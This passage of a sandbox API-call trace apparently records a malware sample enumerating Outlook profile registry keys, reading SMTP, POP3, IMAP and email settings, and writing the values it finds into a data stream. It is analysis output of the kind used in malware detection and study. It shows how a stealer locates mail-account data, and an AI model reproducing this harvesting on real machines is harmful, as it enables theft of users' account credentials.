Port", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.750] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.750] LocalFree (hMem=0x65b170) returned 0x0 [0079.750] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x2, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000003", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.750] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned 122 [0079.750] lstrlenA (lpString="\\") returned 1 [0079.750] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x66b940 [0079.750] lstrcpyA (in: lpString1=0x66b940, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" [0079.750] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" [0079.750] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned 123 [0079.750] lstrlenA (lpString="00000003") returned 8 [0079.750] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x65b170 [0079.750] lstrcpyA (in: lpString1=0x65b170, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" [0079.750] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\", lpString2="00000003" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003" [0079.750] LocalFree (hMem=0x66b940) returned 0x0 [0079.751] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.751] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.751] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.751] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.751] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.751] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.751] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.751] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.751] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.751] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.751] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x3, lpData=0x0, lpcbData=0x12ee38*=0x8) returned 0x0 [0079.751] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x665780 [0079.751] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x665780, lpcbData=0x12ee38*=0x8 | out: lpType=0x0, lpData=0x665780*=0x64, lpcbData=0x12ee38*=0x8) returned 0x0 [0079.751] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.751] IsTextUnicode (in: lpv=0x665780, iSize=8, lpiResult=0x0 | out: lpiResult=0x0) returned 1 [0079.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0079.751] LocalAlloc (uFlags=0x40, uBytes=0x84) returned 0x668840 [0079.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=4, lpMultiByteStr=0x668840, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 4 [0079.751] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12ee4c*=0x0, cb=0x4, pcbWritten=0x12ee28 | out: pcbWritten=0x12ee28*=0x4) returned 0x0 [0079.751] lstrlenA (lpString="SMTP Server") returned 11 [0079.751] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12ee28*=0xb, cb=0x4, pcbWritten=0x12ee04 | out: pcbWritten=0x12ee04*=0x4) returned 0x0 [0079.751] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x416e2d*=0x53, cb=0xb, pcbWritten=0x12ee00 | out: pcbWritten=0x12ee00*=0xb) returned 0x0 [0079.751] lstrlenA (lpString="dfs") returned 3 [0079.751] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12ee28*=0x3, cb=0x4, pcbWritten=0x12ee04 | out: pcbWritten=0x12ee04*=0x4) returned 0x0 [0079.751] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x668840*=0x64, cb=0x3, pcbWritten=0x12ee00 | out: pcbWritten=0x12ee00*=0x3) returned 0x0 [0079.751] LocalFree (hMem=0x668840) returned 0x0 [0079.751] LocalFree (hMem=0x665780) returned 0x0 [0079.752] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.752] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x75f7768c | out: lpType=0x12ee34*=0x3, lpData=0x0, lpcbData=0x12ee38*=0xc) returned 0x0 [0079.752] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x665780 [0079.752] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x665780, lpcbData=0x12ee38*=0xc | out: lpType=0x0, lpData=0x665780*=0x61, lpcbData=0x12ee38*=0xc) returned 0x0 [0079.752] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.752] IsTextUnicode (in: lpv=0x665780, iSize=12, lpiResult=0x0 | out: lpiResult=0x0) returned 1 [0079.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asdfa", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0079.752] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x668840 [0079.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asdfa", cchWideChar=6, lpMultiByteStr=0x668840, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asdfa", lpUsedDefaultChar=0x0) returned 6 [0079.752] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12ee4c*=0x0, cb=0x4, pcbWritten=0x12ee28 | out: pcbWritten=0x12ee28*=0x4) returned 0x0 [0079.752] lstrlenA (lpString="POP3 Server") returned 11 [0079.752] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12ee28*=0xb, cb=0x4, pcbWritten=0x12ee04 | out: pcbWritten=0x12ee04*=0x4) returned 0x0 [0079.752] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x416e39*=0x50, cb=0xb, pcbWritten=0x12ee00 | out: pcbWritten=0x12ee00*=0xb) returned 0x0 [0079.752] lstrlenA (lpString="asdfa") returned 5 [0079.752] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12ee28*=0x5, cb=0x4, pcbWritten=0x12ee04 | out: pcbWritten=0x12ee04*=0x4) returned 0x0 [0079.752] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x668840*=0x61, cb=0x5, pcbWritten=0x12ee00 | out: pcbWritten=0x12ee00*=0x5) returned 0x0 [0079.752] LocalFree (hMem=0x668840) returned 0x0 [0079.752] LocalFree (hMem=0x665780) returned 0x0 [0079.752] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.752] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x75f7768c | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.752] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.752] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.752] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.752] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.752] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.752] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.752] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.752] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.752] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.753] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.753] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.753] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.753] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.753] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.753] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.753] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.753] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.753] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.753] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.753] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.753] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.753] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.753] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.753] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.753] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.753] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.753] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.753] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.753] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.753] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.753] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.754] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.754] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.754] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.754] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.754] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.754] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.754] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.754] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.754] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.754] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.754] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.754] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.754] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.754] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.754] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.754] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.754] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.754] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.754] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.754] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.754] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.754] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.755] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.755] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.755] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.755] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.755] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.755] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.755] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.755] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.755] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.755] RegQueryValueExA (in: hKey=0x1f8, lpValueName="Email", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x3, lpData=0x0, lpcbData=0x12ee38*=0x1c) returned 0x0 [0079.755] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652d58 [0079.755] RegQueryValueExA (in: hKey=0x1f8, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x652d58, lpcbData=0x12ee38*=0x1c | out: lpType=0x0, lpData=0x652d58*=0x66, lpcbData=0x12ee38*=0x1c) returned 0x0 [0079.755] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.755] IsTextUnicode (in: lpv=0x652d58, iSize=28, lpiResult=0x0 | out: lpiResult=0x0) returned 1 [0079.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feasf@efw.com", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0079.755] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x665780 [0079.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feasf@efw.com", cchWideChar=14, lpMultiByteStr=0x665780, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feasf@efw.com", lpUsedDefaultChar=0x0) returned 14 [0079.755] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12ee4c*=0x0, cb=0x4, pcbWritten=0x12ee28 | out: pcbWritten=0x12ee28*=0x4) returned 0x0 [0079.755] lstrlenA (lpString="Email") returned 5 [0079.755] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12ee28*=0x5, cb=0x4, pcbWritten=0x12ee04 | out: pcbWritten=0x12ee04*=0x4) returned 0x0 [0079.755] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x416eac*=0x45, cb=0x5, pcbWritten=0x12ee00 | out: pcbWritten=0x12ee00*=0x5) returned 0x0 [0079.755] lstrlenA (lpString="feasf@efw.com") returned 13 [0079.755] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12ee28*=0xd, cb=0x4, pcbWritten=0x12ee04 | out: pcbWritten=0x12ee04*=0x4) returned 0x0 [0079.755] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x665780*=0x66, cb=0xd, pcbWritten=0x12ee00 | out: pcbWritten=0x12ee00*=0xd) returned 0x0 [0079.755] LocalFree (hMem=0x665780) returned 0x0 [0079.755] LocalFree (hMem=0x652d58) returned 0x0 [0079.755] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.756] RegQueryValueExA (in: 